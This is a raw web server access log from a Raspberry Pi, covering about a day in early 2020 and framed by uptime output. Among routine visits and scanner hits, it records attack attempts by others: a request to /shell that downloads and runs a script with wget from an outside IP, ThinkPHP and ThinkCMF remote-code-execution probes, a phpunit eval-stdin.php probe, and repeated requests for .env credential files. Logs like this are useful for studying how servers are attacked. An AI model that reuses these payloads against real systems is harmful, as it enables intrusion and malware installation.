Fri Jan 31 06:25:06 MST 2020 06:25:06 up 7 days, 10:02, 1 user, load average: 0.38, 0.30, 0.37 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 23Jan20 7days 5:36 1.45s /usr/bin/lxsession -s LXDE-pi -e LXDE 119.204.112.17 - - [31/Jan/2020:14:15:04 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 37.187.134.139 - - [31/Jan/2020:14:37:11 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 89.248.174.146 - - [31/Jan/2020:14:52:40 +0000] "UNKNOWN HTTP" 400 0 "" "" 151.95.76.238 - - [31/Jan/2020:15:07:22 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 102.165.239.60 - - [31/Jan/2020:15:29:54 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 203.88.130.197 - - [31/Jan/2020:15:41:42 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 128.127.94.148 - - [31/Jan/2020:16:01:17 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 119.195.233.93 - - [31/Jan/2020:16:05:08 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 185.181.49.34 - - [31/Jan/2020:16:09:35 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 5.101.0.209 - - [31/Jan/2020:16:13:19 +0000] "GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 5.101.0.209 - - [31/Jan/2020:16:13:19 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 5.101.0.209 - - [31/Jan/2020:16:13:19 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 5.101.0.209 - - [31/Jan/2020:16:13:19 +0000] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 113.203.251.69 - - [31/Jan/2020:16:17:18 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 189.180.80.134 - - [31/Jan/2020:16:40:54 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 109.237.2.63 - - [31/Jan/2020:16:42:32 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 169.197.108.38 - - [31/Jan/2020:17:05:47 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 " 162.250.19.7 - - [31/Jan/2020:17:53:44 +0000] "GET /ac0xl/logs/ HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [31/Jan/2020:17:53:56 +0000] "GET /ac0xl/logs/2020.01.31 HTTP/1.1" 200 11299 "http://162.250.19.7/ac0xl/logs/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 78.36.2.53 - - [31/Jan/2020:18:29:56 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 89.248.174.146 - - [31/Jan/2020:18:38:04 +0000] "UNKNOWN HTTP" 400 0 "" "" 195.230.113.99 - - [31/Jan/2020:19:02:41 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 103.140.127.237 - - [31/Jan/2020:19:09:48 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 103.140.127.237 - - [31/Jan/2020:19:09:48 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 103.140.127.237 - - [31/Jan/2020:19:09:49 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 103.140.127.237 - - [31/Jan/2020:19:09:49 +0000] "POST /Admin0713faa2/Login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 79.143.186.114 - - [31/Jan/2020:19:23:41 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 46.166.187.111 - - [31/Jan/2020:19:41:01 +0000] "POST /editBlackAndWhiteList HTTP/1.1" 404 0 "" "ApiTool" 103.54.30.213 - - [31/Jan/2020:20:11:36 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 93.144.24.188 - - [31/Jan/2020:20:12:02 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 88.231.255.202 - - [31/Jan/2020:20:29:54 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 83.97.20.33 - - [31/Jan/2020:21:03:02 +0000] "GET / HTTP/1.0" 200 25000 "" "" 89.248.174.146 - - [31/Jan/2020:21:14:18 +0000] "UNKNOWN HTTP" 400 0 "" "" 5.101.0.209 - - [31/Jan/2020:21:26:42 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 52.53.170.89 - - [31/Jan/2020:21:45:01 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 140.143.16.158 - - [31/Jan/2020:21:51:07 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 140.143.16.158 - - [31/Jan/2020:21:51:10 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 140.143.16.158 - - [31/Jan/2020:21:51:10 +0000] "GET /TP/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 140.143.16.158 - - [31/Jan/2020:21:51:16 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 91.217.43.219 - - [31/Jan/2020:21:53:46 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 86.8.229.47 - - [31/Jan/2020:22:22:11 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 142.93.150.39 - - [31/Jan/2020:22:22:26 +0000] "GET /index.php HTTP/1.1" 404 0 "" "" 89.248.174.253 - - [31/Jan/2020:22:34:45 +0000] "POST /editBlackAndWhiteList HTTP/1.1" 404 0 "" "ApiTool" 109.182.183.46 - - [31/Jan/2020:22:52:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 62.197.222.216 - - [31/Jan/2020:23:03:09 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 31.43.152.44 - - [01/Feb/2020:00:09:01 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 31.43.152.44 - - [01/Feb/2020:00:10:06 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 124.82.79.148 - - [01/Feb/2020:00:32:48 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 191.241.169.73 - - [01/Feb/2020:00:35:47 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 51.77.110.48 - - [01/Feb/2020:01:00:47 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 51.77.110.48 - - [01/Feb/2020:01:00:47 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 51.77.110.48 - - [01/Feb/2020:01:06:40 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 51.77.110.48 - - [01/Feb/2020:01:06:40 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 193.188.22.152 - - [01/Feb/2020:01:09:12 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.234.228.110 - - [01/Feb/2020:01:40:30 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 109.125.175.202 - - [01/Feb/2020:03:30:39 +0000] "GET / HTTP/1.0" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 220.81.131.140 - - [01/Feb/2020:03:32:14 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 82.193.159.158 - - [01/Feb/2020:03:48:46 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 54.67.101.241 - - [01/Feb/2020:03:53:50 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 31.132.69.221 - - [01/Feb/2020:04:14:35 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 201.143.5.72 - - [01/Feb/2020:04:29:42 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 139.162.106.181 - - [01/Feb/2020:04:48:59 +0000] "GET / HTTP/1.1" 200 25000 "" "HTTP Banner Detection (https://security.ipip.net)" 51.68.226.118 - - [01/Feb/2020:05:41:56 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 54.93.111.162 - - [01/Feb/2020:06:05:22 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 34.216.166.145 - - [01/Feb/2020:08:44:45 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 34.249.226.135 - - [01/Feb/2020:08:57:04 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 13.48.42.202 - - [01/Feb/2020:09:07:39 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 34.244.239.18 - - [01/Feb/2020:09:09:57 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 35.182.13.54 - - [01/Feb/2020:09:19:07 +0000] "GET /.env HTTP/1.1" 404 0 "" "curl/7.47.0" 188.120.149.244 - - [01/Feb/2020:10:49:13 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 188.120.149.244 - - [01/Feb/2020:10:49:13 +0000] "GET / HTTP/1.1" 400 0 "" "" 120.77.85.125 - - [01/Feb/2020:12:11:44 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.77.85.125 - - [01/Feb/2020:12:11:46 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 182.48.105.210 - - [01/Feb/2020:12:57:37 +0000] "GET / HTTP/1.0" 200 25000 "http://162.250.19.7:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)" 178.166.27.80 - - [01/Feb/2020:13:15:26 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" Sat Feb 1 06:25:10 MST 2020 06:25:10 up 18:28, 1 user, load average: 0.55, 0.79, 1.10 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Fri11 19:08m 29.93s 0.50s /usr/bin/lxsession -s LXDE-pi -e LXDE